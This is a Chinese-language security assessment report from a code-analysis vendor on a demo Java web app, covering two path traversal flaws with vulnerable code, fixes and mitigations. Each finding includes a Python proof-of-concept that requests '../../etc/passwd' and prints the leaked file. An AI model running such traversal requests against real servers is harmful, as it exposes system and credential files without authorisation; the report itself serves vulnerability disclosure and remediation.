代码安全分析报告

Test

2月 11, 2026

熵矢 Delivers Triple ZERO

✅ ZERO-Day Vulnerability

✅ ZERO False Positive

✅ ZERO Manual Confirmation

1. 1. 执行摘要

受 Judy G委托，熵矢 对 Test 应用程序的代码实现开展了安全评估。熵矢 在该项目中共识别出 2 漏洞，包括 0 个严重漏洞和 2 个高风险漏洞。为保障系统安全，建议尽快采取解决措施处理上述高风险漏洞。

第 2 节‘评估结果概述’将完整说明已识别漏洞的详情、每个漏洞的关联风险评级以及解决潜在技术问题的详细建议。

2. 发现概述

2.1 项目信息

- 项目名称: **Test**
- 目标服务 URL: **https://target-demo.entropass.com/path**
- Java Archive: **testpath-0.0.1-SNAPSHOT (1).jar**
- 登录 URL: **https://target-demo.entropass.com/hello**

测试账号：

角色名称	已验证账号数量
管理员	1

2.2 发现摘要

严重和高风险被视为关键发现。对于支付状态为"等待中"的项目，一旦您完成所选漏洞的付款，您将获得详细的漏洞分析步骤、概念验证（POC）代码和执行结果

漏洞等级	发现	
严重	0	

漏洞等级	发现	
高危	2	
中危	0	
低危	0	

2.3 关键发现

ID	漏洞等级	漏洞名称	支付状态	可利用性
EVE-00000-0001	高危	路径注入（Path Injection）	PAID	POC Confirmed
EVE-00000-0002	高危	路径注入（Path Injection）	PAID	POC Confirmed

3. 漏洞详细描述

Path Injection

EVE-ID	EVE-00000-0001	支付状态	PAID
CWE-ID	cwe-22	类别	路径注入（Path Injection）
漏洞等级	高危	可利用性	POC Confirmed

漏洞详细描述

路径遍历也称为目录遍历。这些漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括： - 应用程序代码和数据。 - 后端系统的凭证。 - 敏感的操作系统文件。 在某些情况下，攻击者可能能够写入服务器上的任意文件，从而修改应用程序数据或行为，最终完全控制服务器。

污点汇聚点(Sink)

汇聚点(Sink)	Class	src/main/java/com/example/testpath/Controller/common/Benchmark01.java
	Method	public String readFileToString(String filepath)
	Parameter	file

```java
// src/main/java/com/example/testpath/Controller/common/Benchmark01.java
#L22-L34
22:     @GetMapping({"/readString"})
23:     @ResponseBody
24:     public String readFileToString(String filepath) {
25:        File file = new File(filepath);
26:
27:        try {
28:           return FileUtils.readFileToString(file, StandardCharsets.UT
F_8);
29:        } catch (IOException e) {
30:           e.printStackTrace();
31:           return "Error reading file: ";
32:        }
33:     }
34: }
```

污点源(Source)

源(Source)	Class	src/main/java/com/example/testpath/Controller/common/Benchmark01.java
	Method	public String readFileToString(String filepath)
	Parameter	filepath : String
	URL	/benchmark01/readString

```java
// src/main/java/com/example/testpath/Controller/common/Benchmark01.java
#L22-L34
22:    @GetMapping({"/readString"})
23:    @ResponseBody
24:    public String readFileToString(String filepath) {
25:       File file = new File(filepath);
26:
27:       try {
28:          return FileUtils.readFileToString(file, StandardCharsets.UT
F_8);
29:       } catch (IOException e) {
30:          e.printStackTrace();
31:          return "Error reading file: ";
32:       }
33:    }
34: }
```

```py
import requests
url = 'https://target-demo.entropass.com/benchmark01/readString'
malicious_payload =
'../../../../../../../../../../../../../../../../../../../../../../../etc/passwd'
params = {'filepath': malicious_payload}
headers = {'Cookie': 'JSESSIONID=F9E9A22B902A81DDF06BB0E36D9B7143;', 'dn
t': '1', 'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google
Chrome";v="138"', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36', 'accept
-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"L
inux"', 'upgrade-insecure-requests': '1'}
response = requests.get(url, params=params, verify=False, allow_redirect
s=False, headers=headers)
print('Status Code:', response.status_code)
print('Text:', response.text)
```

执行结果:

```
Status Code: 200
Text: root:x:0:0:root:/root:/bin/bash
```

```
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
n/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

修复建议:

漏洞原理

由于直接使用未经校验的用户输入数据拼接文件路径，导致攻击者可以通过构造恶意路径（如“../”）遍历服务器目录，访问任意文件。

修复方法

对用户输入的文件路径进行规范化处理，并严格校验其解析后的绝对路径是否位于预设的安全基目录之内，从而杜绝任何形式的目录穿越。

代码示例

修复前

```
public String readFileToString(String filepath) {
    File file = new File(filepath);
    try {
        return FileUtils.readFileToString(file, StandardCharsets.UTF_8
    } catch (IOException e) {
        e.printStackTrace();
        return "Error reading file: ";
    }
}
```

修复后

```
import java.io.File;
import java.io.IOException;
import java.nio.charset.StandardCharsets;
import org.apache.commons.io.FileUtils;

// 将安全基目录路径配置在外部，例如 application.properties
private static final String SAFE_BASE_DIRECTORY = "/var/www/user_fil

public String readFileToString(String filepath) throws IOException {
    if (filepath == null || filepath.trim().isEmpty()) {
        throw new IllegalArgumentException("File path cannot be null
    }

    File baseDir = new File(SAFE_BASE_DIRECTORY);
    File requestedFile = new File(filepath);

    // 关键：获取文件的规范化路径，这会解析 ".." 等符号
    String canonicalRequestedPath = new File(baseDir, requestedFile.
    String canonicalBasePath = baseDir.getCanonicalPath();

    // 安全校验：确保请求的文件路径在安全基目录之内
    if (!canonicalRequestedPath.startsWith(canonicalBasePath + File.
        // 记录安全事件，此处不应向客户端暴露详细错误
        // logger.warn("Path traversal attempt detected for filepath
        throw new SecurityException("Access denied. Invalid file pat
    }

    // 校验通过后，使用规范化路径创建File对象进行读取
```

```
        File safeFile = new File(canonicalRequestedPath);
        try {
            return FileUtils.readFileToString(safeFile, StandardCharsets
        } catch (IOException e) {
            // logger.error("Failed to read file: {}", safeFile.getPath(
            return "Error reading file.";
        }
    }
```

说明

修复方案的核心是引入了一个安全基目录（SAFE_BASE_DIRECTORY）。代码首先通过 `getCanonicalPath()` 方法获取用户请求路径的规范化形式，该方法会解析所有路径遍历序列（如 `../`）。然后，代码严格校验该规范化路径是否以安全基目录的规范化路径作为前缀。只有当文件确实位于指定的安全目录下时，才执行文件读取操作，从而彻底杜绝了路径遍历漏洞。

替代方案

基于文件全路径白名单的访问控制

维护一个允许被访问的文件全路径白名单。只有当用户请求的路径精确匹配白名单中的某一项时，才允许读取。这是最严格的控制方式。

适用场景：适用于可访问文件集合固定且数量有限的场景，安全性最高。

仅接受安全文件名作为输入

重构API，使其只接受不含任何路径分隔符（如“/”或“\”）的文件名作为参数。程序在后端将文件名与一个固定的、安全的基础目录拼接成完整路径。

适用场景：适用于所有文件都存放在同一个目录下，且用户只需按文件名访问的场景。此方法简化了校验逻辑，只需确保输入是合法的文件名即可。

临时缓解

部署Web应用防火墙（WAF）

在应用服务器前部署WAF，并配置规则来拦截和阻止URL参数中包含路径遍历序列（如“../”、“..\”）的恶意请求。

高

增强监控与告警

在应用层面增加日志记录，对所有文件访问请求的输入参数进行监控。一旦检测到包含“../”等特征的疑似攻击行为，立即触发告警通知安全团队进行响应。

中

Path Injection

EVE-ID	EVE-00000-0002	支付状态	PAID
CWE-ID	cwe-73	类别	路径注入（Path Injection）
漏洞等级	高危	可利用性	POC Confirmed

漏洞详细描述

File Path Injection Loading files based on unvalidated user-input may cause file information disclosure and uploading files with unvalidated file types to an arbitrary directory may lead to Remote Command Execution (RCE).

污点汇聚点(Sink)

汇聚点(Sink)	Class	src/main/java/com/example/testpath/Controller/common/Benchmark02.java
	Method	public ResponseEntity getFileContent(@RequestParam String directory, @RequestParam String filename)
	Parameter	filePath

```java
// src/main/java/com/example/testpath/Controller/common/Benchmark02.java#L25-L37
```

```
25:     @GetMapping({"/file"})
26:     public ResponseEntity getFileContent(@RequestParam String directo
ry, @RequestParam String filename) {
27:         try {
28:             Path basePath = Paths.get(BASE_PATH).toAbsolutePath().norma
lize();
29:             Path dirPath = basePath.resolve(directory).normalize();
30:             Path filePath = dirPath.resolve(filename);
31:             String content = new String(Files.readAllBytes(filePath), S
tandardCharsets.UTF_8);
32:             return ResponseEntity.ok(content);
33:         } catch (Exception var7) {
34:             return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERR
OR).body("Error reading file: ");
35:         }
36:     }
37: }
```

污点源(Source)

源 (Source)	Class	src/main/java/com/example/testpath/Controller/common/Benchmark02.java
	Method	public ResponseEntity getFileContent(@RequestParam String directory, @RequestParam String filename)
	Parameter	directory : String
	URL	/benchmark02/file

java
```
// src/main/java/com/example/testpath/Controller/common/Benchmark02.java
#L25-L37
25:     @GetMapping({"/file"})
26:     public ResponseEntity getFileContent(@RequestParam String directo
ry, @RequestParam String filename) {
27:         try {
28:             Path basePath = Paths.get(BASE_PATH).toAbsolutePath().norma
lize();
29:             Path dirPath = basePath.resolve(directory).normalize();
```

```
30:           Path filePath = dirPath.resolve(filename);
31:           String content = new String(Files.readAllBytes(filePath), S
tandardCharsets.UTF_8);
32:           return ResponseEntity.ok(content);
33:       } catch (Exception var7) {
34:           return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERR
OR).body("Error reading file: ");
35:       }
36:    }
37: }
```

```py
import requests
TARGET_URL = 'https://target-demo.entropass.com/benchmark02/file'

def generate_directory():
    """Generate a directory path that will be used to traverse to sensit
ive files."""
    return '../../../../../../../../../../../../../../../../../../../../../
etc'

def generate_filename():
    """Generate the filename to read from the target system."""
    return 'passwd'
payload = {'directory': generate_directory(), 'filename': generate_filen
ame()}
headers = {'Cookie': 'JSESSIONID=F9E9A22B902A81DDF06BB0E36D9B7143;', 'dn
t': '1', 'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google
Chrome";v="138"', 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWe
bKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36', 'accept
-language': 'en-US', 'sec-ch-ua-mobile': '?0', 'sec-ch-ua-platform': '"L
inux"', 'upgrade-insecure-requests': '1'}
response = requests.get(TARGET_URL, params=payload, verify=False, allow_
redirects=False, headers=headers)
print('Status Code:', response.status_code)
print('Response Text:', response.text)
```

执行结果:

```
```

```
Status Code: 200
Response Text: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbi
n/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

修复建议:

漏洞原理

应用程序使用未经验证的用户输入（`directory` 和 `filename` 参数）来构建文件路径，这使得攻击者可以利用路径遍历序列（如 `../`）访问预定基本目录之外的文件。

修复方法

对用户输入构建的路径进行规范化处理，并验证最终的绝对路径是否以预设的安全根目录开头。此方法可确保即使用户输入包含路径遍历字符，文件访问也被限制在授权的目录内。

代码示例

修复前

```
@GetMapping({"/file"})
public ResponseEntity getFileContent(@RequestParam String directory,
    try {
        Path basePath = Paths.get(BASE_PATH).toAbsolutePath().normaliz
        Path dirPath = basePath.resolve(directory).normalize();
        Path filePath = dirPath.resolve(filename);
        String content = new String(Files.readAllBytes(filePath), Star
        return ResponseEntity.ok(content);
    } catch (Exception var7) {
        return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR)
    }
}
```

修复后

```
@GetMapping({"/file"})
public ResponseEntity getFileContent(@RequestParam String directory,
    // 必须定义一个安全的、绝对的基础路径，文件只能从此路径下提供。
    // 此路径不应是文件系统的根目录，并应在安全的配置文件中定义。
    final String SECURE_BASE_PATH = "/var/www/files";

    try {
        Path basePath = Paths.get(SECURE_BASE_PATH).toAbsolutePath()

        // 从用户输入构建路径对象
        Path userSuppliedPath = Paths.get(directory, filename);

        // 将用户提供的路径解析到基础路径下，并进行规范化以处理 ".." 等序列
        Path resolvedPath = basePath.resolve(userSuppliedPath).norma

        // 安全检查：确保解析和规范化后的最终路径仍然位于安全的基础目录之内。
        // 这是防止路径遍历攻击最关键的一步。
        if (!resolvedPath.startsWith(basePath)) {
            // 路径试图访问允许目录之外的位置
            return ResponseEntity.status(HttpStatus.FORBIDDEN).body(
        }

        // 附加检查，确保文件可读且为常规文件
        if (Files.isReadable(resolvedPath) && Files.isRegularFile(re
            String content = new String(Files.readAllBytes(resolvedP
```

```
                return ResponseEntity.ok(content);
            } else {
                return ResponseEntity.status(HttpStatus.NOT_FOUND).body(
            }

        } catch (java.nio.file.InvalidPathException e) {
            return ResponseEntity.status(HttpStatus.BAD_REQUEST).body("I
        } catch (IOException e) {
            // 建议记录异常以供内部审查，但向用户返回通用错误信息。
            // log.error("Error reading file for user request.", e);
            return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERRO
        }
    }
```

说明

原始代码直接拼接用户输入来构造文件路径，允许攻击者使用 `../` 序列来跳出指定的 `BASE_PATH` 目录。修复后的代码首先定义了一个不可逾越的安全根目录 `SECURE_BASE_PATH`。然后，它将用户输入路径与此根目录进行解析和规范化，并使用 `resolvedPath.startsWith(basePath)` 进行关键性检查，确保最终访问的路径始终处于安全根目录的管辖范围内，从而彻底杜绝了路径遍历攻击。此外，还增加了对无效路径字符和文件类型的检查，提高了代码的健壮性。

替代方案

使用间接引用映射（白名单）

不直接使用用户输入的文件名或路径，而是要求用户提供一个ID。服务器端维护一个从ID到真实、安全文件路径的映射表（白名单）。当收到请求时，程序通过ID查找对应的文件路径，从而完全避免将不可信输入用于文件系统操作。

适用场景：当可供访问的文件集合是有限且预先已知的场景时，此方法最为理想和安全，例如提供特定的报告、用户头像或系统配置文件。

基于严格正则表达式的输入验证

在处理输入之前，使用一个严格的正则表达式来验证`directory`和`filename`参数。该表达式应只允许白名单内的字符（如字母、数字、下划线），并明确禁止任何可能用于路径遍历的字符（如 `.`、`/`、`\`）。

适用场景：可作为深度防御的一环，但不推荐作为唯一的修复手段。它适用于文件名和目录结构非常简单且有严格命名规范的场景，但正则表达式的健壮性是关键，容易被绕过。

临时缓解

配置WAF（Web应用防火墙）规则

在网络边缘的WAF或API网关上配置一条规则，用于检测并阻止HTTP请求中`directory`或`filename`参数包含路径遍历序列（如 `../`, `..\` 及其各种编码形式）的请求。

高

增强日志记录和监控告警

对该接口的每次调用增加详细日志，记录传入的`directory`和`filename`参数值。配置监控系统，当在日志中检测到 `../` 等可疑模式时立即触发告警，以便安全团队能够快速发现并响应攻击企图。

中

4. 结论

在本次评估过程中， 熵矢 对 **Test** 应用程序的代码实现及外部依赖项进行了全面分析。第 3 节详细描述和解释了发现的漏洞。目前，评估发现的所有漏洞已同步至项目所有者账户下的报告界面，可供查阅。我们强烈建议按照详细描述中推荐的最佳实践修复这些发现，并在部署此类安全补丁之前彻底验证您的修复。为了改进本报告，我们诚挚欢迎您就评估方法、评估发现，或评估范围 / 覆盖度中可能存在的遗漏，提出任何建设性反馈与建议。

5. 附录

5.1 保密和协议

熵矢 致力于保护用户信息和源代码的机密性。在进行此评估之前，**Test** 项目的所有者已阅读并同意 熵矢 的《服务条款》和《隐私政策》，然后才开始此代码分析任务。请查看 *服务条款* 和 *隐私政策*。

5.2 方法论

本次风险评级参考 OWASP 风险评级方法（该方法为当前网络安全领域风险评估的行业基准），并基于此定义了相关术语：

本次评估覆盖了全面的安全标准，详情请参阅 安全规范清单。

类别	评估项目
Source Code Security	SQL Injection
	Cross Site Scripting
	Command Injection
	Server Side Template Injection
	Server Side Request Forgery
	XML External Entity Injection
	Expression Injection
	OGNL Injection
	Deserialization of Untrusted Data
	Unrestricted Upload of File
	Path Traversal
	Insecure File Manipulation
	Cross Site Request Forgery
	Open Redirection
	CRLF Injection
	Sensitive Information Exposure

类别	评估项目
	Security Misconfiguration
	Insecure Cryptography Algorithm
	Credentials Hard Coding
	Broken Access Control
	Identification and Authentication Failures
	Denial Of Service
	Insecure Design
External Dependency	External Dependency Security Checks
	Vulnerable and Outdated Components
Recommendations	Security Coding Best Practices

6. 免责声明

本报告受服务协议条款约束，仅可按照协议许可范围使用，未经 熵矢 书面同意，不得向任何第三方泄露或传播。本报告不构成对任何项目的认可或否定。亦不保证已识别漏洞的完整性（即不排除存在未被发现的其他安全风险），同时不对该项目的商业可行性或法律合规性进行评估。

7. 术语表

TERM	DEFINITION
CVE	https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures
CWE	https://en.wikipedia.org/wiki/Common_Weakness_Enumeration
NIST	https://en.wikipedia.org/wiki/NIST

TERM	DEFINITION
NVD	https://en.wikipedia.org/wiki/National_Vulnerability_Database
CVSS	https://en.wikipedia.org/wiki/Common_Vulnerability_Scoring_System
POC	https://en.wikipedia.org/wiki/Proof_of_concept
OWASP	https://en.wikipedia.org/wiki/OWASP
Vulnerability	https://en.wikipedia.org/wiki/Vulnerability
Taint Analysis	https://wiki.sei.cmu.edu/confluence/display/c/Taint+Analysis

8. 熵矢 公司

熵矢 是一家专注于网络安全领域的创新型人工智能初创公司，致力于通过人工智能技术打造一体化安全解决方案。我们的使命是利用人工智能的力量打造统一的安全解决方案。如果您想了解更多关于ZAST INC的信息，请访问 https://entropass.com/about。

熵矢

support@entropass.com